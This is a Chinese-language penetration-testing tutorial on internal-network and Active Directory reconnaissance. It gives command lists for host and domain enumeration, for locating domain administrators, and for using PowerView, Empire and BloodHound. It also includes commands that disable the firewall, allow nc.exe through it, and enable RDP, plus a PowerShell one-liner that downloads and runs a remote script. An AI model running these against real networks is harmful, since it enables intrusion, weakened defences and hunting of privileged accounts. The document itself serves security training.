内网信息收集
内网信息收集概述
渗透测试进入内网阶段,面对一片 “黑暗森林” 。所以首先对当前的网络环境进行判断。
- 我是谁? —— 对当前机器角色进行判断。
- 这在哪? —— 对当前机器所处的网络环境和拓扑结构进行分析和判断。
- 我在哪? —— 对当前机器所处区域进行判断。
对当前计算机角色判断,是指判断当前计算机是普通Web服务器、FTP服务器、代理服务器、DNS服务器等。
对当前计算机所处网络环境的拓扑结构分析和判断,是指对所在的内网进行全面的数据收集和分析整理,绘制出大致的内网结构拓扑图。
对当前计算机所处区域判断,是指判断计算机处于网络拓扑中哪个区域,是在DMZ区、办公区、还是核心区。
收集本机信息
不管是外网还是内网中,信息收集都是第一步。对于内网中的一台机器,其所处的内网的结构是什么样的、其角色是什么样的、使用这台机器的人的角色是什么样的,以及这台机器上安装了什么杀软、这台机器通过什么方式上网、这台机器是笔记本还是台式等问题,都需要通过信息收集来获取。
本机信息包括操作系统、版本、权限、网卡、IP、用户、杀软、端口、服务、补丁更新、网络连接、共享、会话等。如果是域内主机,操作系统、应用软件、补丁、服务、杀软一般都是统一安装的。通过本机信息,推断出域内其他主机信息。
工作组信息收集
查询当前权限
whoami /all 获取域SID
net user XXX /domain 查询指定账户的详细信息
查看网络信息
ipconfig /all
查看用户列表
net user 查看本机用户列表
net localgroup administrators 本机管理员(通常含有域用户)
query user ||qwinsta 查看当前在线用户
查看进程列表
tasklist /v
wmic process list brief
查询操作系统和版本信息
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
查询软件安装及版本,路径
wmic product get name,version
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,version"
查看自动启动信息和计划任务信息
wmic startup get command,caption
schtasks /query /fo LIST /v
查询端口列列表
netstat -ano
netstat -ano | findstr ESTABLISHED
查询补丁
systeminfo
wmic qfe get Caption,description,InstalledOn
查看共享
net share
wmic share get description,name,path
wmic share get name,path,status
防火墙配置和开关
# 查看配置
netsh firewall show config
# 关闭防火墙
netsh firewall set opmode disable # 2003以前使用
netsh advfirewall set allprofiles state off # 2003以后使用
# 在不关闭防火墙修改配置
A. Windows Server 2003系统及之前版本,允许指定程序全部连接
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
B. Windows Server 2003之后系统版本
允许指定程序连入
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="c:\nc.exe"
允许指定程序连出
netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program="c:\nc.exe"
# 3389端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
#自定义防火墙日志储存位置
netsh advfirewall set currentprofile logging filename “C:\windows\temp\fw.log"
远程桌面
# 查看远程桌面端口
reg query "hkey_local_machine\system\currentcontrolset\control\terminal server\winstations\RDP-Tcp" /v portnumber
# 2008和2012开启远程桌面
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where(TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
#Windows Server 2003开启3389方法
wmic path win32_terminalservicesetting where (__CLASS !="") callsetallowtsconnections 1
# 注册表开启方法 (推荐使用)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
域内信息收集
判断是否有域
ipconfig /all 获取SID
systeminfo
net config workstation
net time /domain
# 判断主域
- 拒绝访问:存在域,但当前用户不是域用户
- 回显时间:存在域,且当前用户为域用户
- 找不到workgroup的域控制器:不存在域
收集域内基础信息
1:查询域
net view /domain
这里有个坑,有时候查询出错6118错误,是因为 Computer Brower 服务的问题,把它手动启动。
2:查询域内所有计算机
执行以下命令就可以查询得到主机名对主机角色进行初步判断:
net view /domain:HACKER[主机名]
3:查询域内所有用户组列表
net group /domain
4:查询所有域成员计算机列表
net group “domain computers” /domain
5:获取域密码信息
获取域密码策略、密码长度、错误锁定等信息用这条命令:
net accounts /domain
6:获取域信任信息
nltest /domain_trusts
查找域控制器
1:查看域控制器的机器名
nltest /DCLIST:主机名[Hacker]
2:查看域控制器主机名
Nslookup -type=SRV _ldap._tcp
3:查看当前时间
在通常情况下,时间服务器为主域控制器:
net time /domain
4:查看域控制器组
net group "Domain Controllers" /domain
PS:在实际情况中,一个域内一般有两台或者两台以上的域控制器,因为一点主域控制器发生故障,备用域控制器就可以保证域内服务和验证工作正常运行。
执行以下命令查看主域控制器为DC:
netdom query pdc
获取域内的用户和管理员信息
1:查询所有域用户列表
1.1:向域控制器进行查询
执行以下命令,向域控制器DC查询,域内有5个用户,其中krbtgt用户不仅可以创建票据授权服务(TGS)的加密密钥,还可以实现多种域内权限持久化方法。
net user /domain
1.2:获取域内用户的详细信息
执行下面的命令可以获取域内用户的详细信息:用户名、描述信息、SID、域名等等
wmic useraccount get /all
1.3:查看存在的用户
执行以下命令会发现有五个用户:
dsquery user
关于 dsquery 命令还有如下:
1.4:查询本地管理员组用户
net localgroup administrators
默认 Domain Admins 组为域内机器的本地管理员用户。在真实环境中,为了方便管理,会有域用户被添加为域机器的本地管理员用户。
2:查询域管理员用户组
2.1:查询域管理员用户
net group “domain admins” /domain
2.2:查询域管理员用户组
net group “Enterprise Admins” /domain
定位域管理员
- 一是日志
- 二是会话
日志指的的本地机器的管理员日志,可以使用脚本或wevtutil导出查看。
会话是域内每个机器的登陆会话,可以匿名查询,无需权限,可以使用netsess.exe或powerview等工具查询。
常用域管理员定位工具
1:psloggedon.exe
使用psloggedon.exe,可以查看本地登录的用户和通过本地计算机或远程计算机资源登录的用户。如果指定的是用户名而不是计算机名,psloggedon.exe会搜索网上邻居中的计算机,并显示该用户当前是否登录。其原理就是通过检查注册表 HKEY_USERS 项的 key 值来查询谁登录过(需要调用NetSessionEnum API),但某些功能需要管理员权限才能使用。
使用语法:
-:显示支持的选项和用于输出值的单位。
-l:仅显示本地登录,不显示本地和网络资源登录。
-x:不显示登录时间。
\computername:指定要列出登录信息的计算机的名称。
Username:指定用户名,在网络中搜索该用户登录的计算机。
2:PVEFindADUser.exe
PVEFindADUser.exe这款工具可用于查找活动目录用户登录的位置、枚举域用户,以及查找在特定计算机上登陆的用户,包括本地用户、通过RDP登陆的用户、用于运行服务和计划任务的用户。运行该工具的计算机需要配置 .NET Framework 2.0 环境,并且需要具有管理员权限。
使用语法:
pveFindADUser.exe <参数>
-h:显示帮助。
-u:检查是否有更新版本的实用程序。
-current [’‘username’’]:如果仅指定了-current 参数,将获取所有目标计算机上当前登录的所有用户。如果指定了用户名(DOMAIN\Username),则显示该用户登录的计算机。
-last [’‘username’’]:如果仅指定了-last 参数,将获取目标计算机上的最后一个登录用户。如果指定了用户名(DOMAIN\Username),则显示具有此用户账户作为上次登录的计算机。根据网络的策略,可能会隐藏最后一个登录用户名,且该工具可能无法得到该用户名。 -noping:阻止该工具在尝试获取用户登录信息之前对目标计算机执行 ping 命令。
-target:可选参数,用于指定要查询的主机。如果未指定此参数,将查询当前域中的所有主机。如果指定此参数,则后跟一个由逗号分隔的主机名列表。
3:netview.exe
netview.exe 是一个枚举工具,使用 WinAPI 枚举系统,利用NetSessionEnum找寻登陆会话,利用NetShareEnum找寻共享,利用NetWkstaUserEnum枚举登陆的用户。同时,netview.exe 能够查询共享入口和有价值的用户。netview.exe的绝大部分功能不需要管理员权限就可以使用。
使用语法:
netview.exe <参数>
-h:显示帮助菜单。
-f filename.txt:指定从中提取主机列表的文件。
-e filename.txt:指定要排除的主机名文件。
-o filename.txt:将所有输出重定向到文件。
-d domain:指定从中提取主机列表的域。如果没有指定,则使用当前域。
-g group:指定用户搜寻的组名。如果没有指定,则使用 Domain Admins。
-c:检查对已找到共享的访问权限。
4:Nmap的NSE脚本
如果有域账户或者本地账户,就可以使用 Nmap 的 smb-enum-sessions.nse 引擎来获取远程机器的登录会话,并且不需要管理员权限。smb-enum-sessions.nse 的下载地址为:https://nmap.org/nsedoc/scripts/smb-enum-sessions.html。
smb-enum-domains.nse:对域控制器进行信息收集,可以获取主机信息、用户、密码策略可
以使用的用户等。
smb-enum-users.nse:在进行域渗透测试的时候,如果获取了域内某台主机的权限,但是权限有限,不能获取更多的域用户信息,就可以借助这个脚本对域控制器进行扫描。
smb-enum-shares.nse:遍历远程主机的共享目录。
smb-enum-processes.nse:对主机的系统进程进行遍历。通过这些信息,可以知道目标主机上运行软件信息,选择合适的漏洞或者规避防火墙及杀毒软件。
smb-enum-sessions.nse:获取域内主机的用户登录会话,查看当前是否有用户登录。
smb-os-discovery.nse:收集目标主机的操作系统、计算机名、域名、全称域名、域林名称、NetBIOS 机器名、NetBIOS 域名、工作组、系统时间。
5:PowerView脚本
PowerView是一款powershell脚本,提供了辅助定位关键用户的功能。
Invoke-StealthUserHunter :只需要一次查询,就可以获取域内的所有用户。从user.HomeDirectories 中提取所有用户,并对每个服务器进行 Get-NetSessions 获取。因为不需要使用 Invoke-UserHunter 对每台机器进行操作,所以这个方法的隐蔽性相对较高,但涉及的机器面不一定完整。默认使用 Invoke-StealthUserHunter,如果找不到需要的信息,就接着使用 Invoke-UserHunter 方法。
Invoke-UserHunter:找到域内特定的用户群。它接收用户名、用户列表或域组查询,并接收一个主机列表或查询可用的主机域名。它会使用 Get-NetSessions 和 Get-NetLoggedon(调用 NetSessionEnum 和 NetWkstaUserEnum API)扫描每个服务器,而且会比较结果,筛选出目标用户集。使用这个工具是不需要管理员权限的。在本地绕过执行该脚本。
6:Empire下的user_hunter模块
在 Empire 下也存在类似 Invoke-UserHunter 的模块——user_hunter,这个模块就是用来查找域管理员登录的机器的。
使用 usemodule situational_awareness/network/powerview/user_hunter
模块可以清楚地看到哪个用户登录了哪台主机。在这里,显示域管理员曾经登录了机器名为 WIN7-64.shuteer.testlab、IP 地址为 192.168.31.251 的机器。
查找域管理进程
1:本机检查
1.1:获取域管理员列表
net group “Domain Admins” /domain
当前有一个域管理员:administrator
1.2:列出本机所有进程及进程用户
tasklist /v
1.3:寻找进程所有者为域管理员的进程
通过以上操作可以看出,当前存在域管理员进程,这种方法只是有几率能查找到域管理员进程,在实际情况下往往并非如此。
2:查询域控制器的域用户会话
查询域控制器的域用户会话,其原理是:在域控制器中查询域用户会话列表,并将其与域管理员列表进行交叉引用,从而得到域管理员会话的系统列表。
2.1:查询域控制器列表
可以使用LDAP查询从Domain Controlles单元中收集的域控制器列表。也可以使用net命令查询域控制器列表。
net group “Domain Controllers” /domain
2.2:收集域管理员列表
可以使用LDAP进行查询。也可以使用net命令,从域管理员组中收集域管理员列表。
net group “Domain Admins” /domain
2.3:收集所有活动域的会话列表
使用netsess.exe查询每个域控制器,收集所有活动域会话列表。netsess.exe它包含本地Windows函数netsessionenum。
netsess.exe -h
2.4:交叉引用域管理员列表与活动会话列表
对域管理员列表和活动会话列表进行交叉引用,可以确定哪些IP地址有活动域令牌。也可以通过下列脚本快速使用netsess.exe的Windows命令行。
将域控制器列表添加到dcs.txt中,将域管理员列表添加到admins.txt中,并与netsess.exe放在同一目录下,运行脚本会在当前目录下生成一个文本文件sessions.txt:
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
3:查询远程系统中运行的任务
如果目标机器在域系统中是通过共享的本地管理员账户运行的,就可以使用下列脚本来查询系统中的域管理员任务。
首先,从Domain Admins组中收集域管理员列表:
net group “Domain Admins” /domain
然后运行如下脚本,将目标域系统列表添加到ips.txt文件中,将收集的域管理员列表添加到names.txt文件中:
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
4:扫描远程系统的NetBIOS信息
某些版本的Windows操作系统允许用户通过NetBIOS查询已登录用户,下面这个Windows命令行脚本就用于扫描远程系统活跃域中的管理会话。
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
同样,把目标域系统列表添加到ips.txt文件中,将收集的域管理员列表添加到admins.txt文件中,同目录运行脚本:
域内存活主机探测
1. 利用NetBIOS快速探测
nbtscan IP [下载地址:http://www.unixwiz.net/tools/nbtscan.html#download]
sharing :正在运行文件和打印共享服务,不一定有内容共享
dc: 可能是域控制器
u=user : 有登陆名为User的用户
IIS: 可能安装了IIS服务
exchange: 可能安装了exchange
notes : 可能安装了lotus notes 邮件客户端
? : 未识别出该机器 的NetBios资源
2.利用ICMP协议探测
循环 ping:
for /L %I in (1,1, 254) do @ping -w 1 -n 1 192.168.1.%I | findstr “TTL=”
VBS脚本进行探测
运行命令:cscript 1.vbs(速度很慢)
运行完后它会把结果保存到C:\Windows\Temp\Result.txt
中
strSubNet = “10.10.10.”
Set objFSO= CreateObject(“Scripting.FileSystemObject”)
Set objTS = objfso.CreateTextFile(“C:\Windows\Temp\Result.txt”)
For i = 1 To 254
strComputer = strSubNet & i
blnResult = Ping(strComputer)
If blnResult = True Then
objTS.WriteLine strComputer & " is alived ! 😃 "
End If
Next
objTS.Close
WScript.Echo "All Ping Scan , All Done ! 😃 "
Function Ping(strComputer)
Set objWMIService = GetObject(“winmgmts:\.\root\cimv2”)
Set colItems = objWMIService.ExecQuery(“Select * From Win32_PingStatus Where Address=’” & strComputer & “’”)
For Each objItem In colItems
Select case objItem.StatusCode
Case 0
Ping = True
Case Else
Ping = False
End select
Exit For
Next
End Function
3.通过ARP扫描探测
apr-scan工具 [下载地址:https://gitee.com/RichChigga/arp-scan-windows]:
命令:arp.exe -t IP/掩码Nishang中的Invoke-ARPScan.ps1脚本
powershell.exe -exec bypass -Command “& {Import-Module c:\Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.1.1/24}” >> c:\log.txt
4. 通过常规TCP/UDP端口扫描
scanline工具
scanline -h -t 20,80-89,110,389,445,3389,1099,7001,3306,1433,8080,1521 -u 53,161 -O c:\log.txt -p 192.168.1.1-254 /b
域内端口扫描
通过查询目标主机的端口开放信息,不仅可以了解目标主机所开放的服务,还可以找出其开放服务的漏洞、分析目标的网络拓扑结构等,具体需要关注以下三点。
- 端口的 Banner 信息。
- 端口上运行的服务。
- 常见应用的默认端口
1.利用Telnet命令进行扫描
telnet iP 1433
telnet 用户名 1433
2.s扫描器
S 扫描器是早期的一种比较快速的端口扫描工具,特别适合运行在 Windows Sever 2003 以下的平台上,支持大网段扫描。S 扫描器的扫描结果默认保存在其目录下的 result.txt 文件中。推荐使用 TCP 扫描命令如下
s.exe tcp 192.168.1.1 192.168.1.254 445,1433,3389,7001 256 /Banner /save
3.Metasploit端口扫描
use auxiliary/scanner/portscan/tcp
4.使用PowerScript的Invoke-portscan.ps1脚本
以无文件形式扫描,命令如下:
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1’);Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports ‘445,1433,8080,3389,80’ -oA c:\windows\temp\res.txt"
5.使用Nishang的Invoke-PortScan模块
Invoke-PortScan 是 Nishang 的端口扫描脚本,用于发现主机、解析主机名、端口扫描,是一个很实用的脚本。输入“Get-Help Invoke-PortScan -full”命令,即可查看帮助信息
具体的参数介绍如下。
StartAddress:扫描范围开始的地址。
EndAddress:扫描范围结束的地址。
ScanPort:进行端口扫描。
Port:指定扫描端口。默认扫描的端口有 21、22、23、53、69、71、80、98、110、139、
111、389、443、445、1080、1433、2001、2049、3001、3128、5222、6667、6868、7777、
7878、8080、1521、3306、3389、5801、5900、5555、5901。
TimeOut:设置超时时间。
使用以下命令对本地局域网进行扫描,搜索存活主机并解析主机名:
Invoke-PortScan -StartAddress 192.168.250.1 -EndAddress 192.168.250.255 -ResolveHost
利用PowerShell收集域信息
PowerShell可以理解为增强版的”cmd.exe”,打开方式就是:运行->输入powershell:
如果想执行一个Powershell脚本,需要修改Powershell的默认权限为执行权限。PowerShell常用的执行权限有四种:
Restricted:默认设置,不允许执行任何脚本。
Allsigned:只能运行经过证书验证的脚本。
Unrestricted:权限最高,可以执行任意脚本。
RemoteSigned:本地脚本无限制,但是对来自网络的脚本必须经过签名。
在PowerShell中输入Get-ExecutionPolicy,可以查看权限:
如果想要修改权限就可以执行这条命令,然后选择Y:
Set-ExecutionPolicy 权限名
powerview
powerview这个脚本是一款依赖于 powershell 和 WMI 对内网进行查询的常用渗透测试脚本。
下载地址:https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
导入脚本 powerview.ps1:
import-module .\powerview.ps1
Powerview中常用的命令
Get-NetDomain:获取当前用户所在的域名称。
Get-NetUser:返回所有用户的详细信息。
Get-NetDomainController:获取所有域控制器。
Get-NetComputer:获取所有域内机器的详细信息。
Get-NetOU:获取域中的 OU 信息。
Get-NetGroup:获取所有域内组和组成员信息。
Get-NetFileServer:根据 SPN 获取当前域使用的文件服务器。
Get-NetShare:获取当前域内所有网络共享。
Get-NetSession:获取在指定服务器存在的会话信息。
Get-NetRDPSession:获取在指定服务器存在的远程连接信息。
Get-NetProcess:获取远程主机的进程信息。
Get-UserEvent:获取指定用户的日志信息。
Get-ADObject:获取活动目录的对象信息。
Get-NetGPO:获取域所有组策略对象。
Get-DomainPolicy:获取域默认或域控制器策略。
Invoke-UserHunter:用于获取域用户登录计算机及该用户是否有本地管理权限。
Invoke-ProcessHunter:查找域内所有机器进程用于找到某特定用户。
Invoke-UserEventHunter:根据用户日志获取某域用户登录过哪些域机器。
CMD运行powershell
powershell -exec bypass "import-module c:\powerview.ps1;get-netuser"
域渗透分析工具bloodhound的使用
安装BloodHound所需环境
1、下载安装JDK
JDK8下载地址:https://www.oracle.com/java/technologies/javase-jdk8-downloads.html
2、下载安装Neo4j
下载地址:https://neo4j.com/download-center/#releases
3、启动Neo4j数据库服务端
下载好后,进入对应的目录在命令行运行如下命令启动(必须安装JDK环境才可以)
cd C:\neo4j-community-3.5.3\bin
neo4j.bat console
通过浏览器打开:http://localhost:7474/
打开后设置一下密码:原密码neo4j,修改为:123456(任意)
4、下载BloodHound
下载地址:https://github.com/BloodHoundAD/BloodHound/releases
然后打开:
输入账号密码:eno4j、123456
查找所有域管理员。
寻找到达域管理员的最短路径。
查找具有 dcsync权限的主体。
具有外部域组成员身份的用户。
具有外部域组成员身份的组。
映射域信任。
无约束委托系统的最短路径。
从 KerberoAstable 用户获得的最短路径。
从 KerberoAstable 用户到域管理员的最短路径。
拥有主体的最短路径。
从所属主体到域管理员的最短路径。
高价值目标的最短路径。
再下载:https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.exe
放到C盘下:
然后运行:
SharpHound.exe -c all
运行完后会在当前路径下生成一个文件:20200323210837_BloodHound.zip
然后我们把他拖进去上传:
这个时候就有数据了:
查找所有域管理员
寻找最短到达域管理员的路径
查找具有 dcsync权限的主体
查看指定用户与域关联的详细信息
点一下用户就会在左边显示:
参考文章:
https://www.freebuf.com/sectool/179002.html
https://www.cnblogs.com/KevinGeorge/p/10513211.html
https://www.cnblogs.com/backlion/p/10643132.html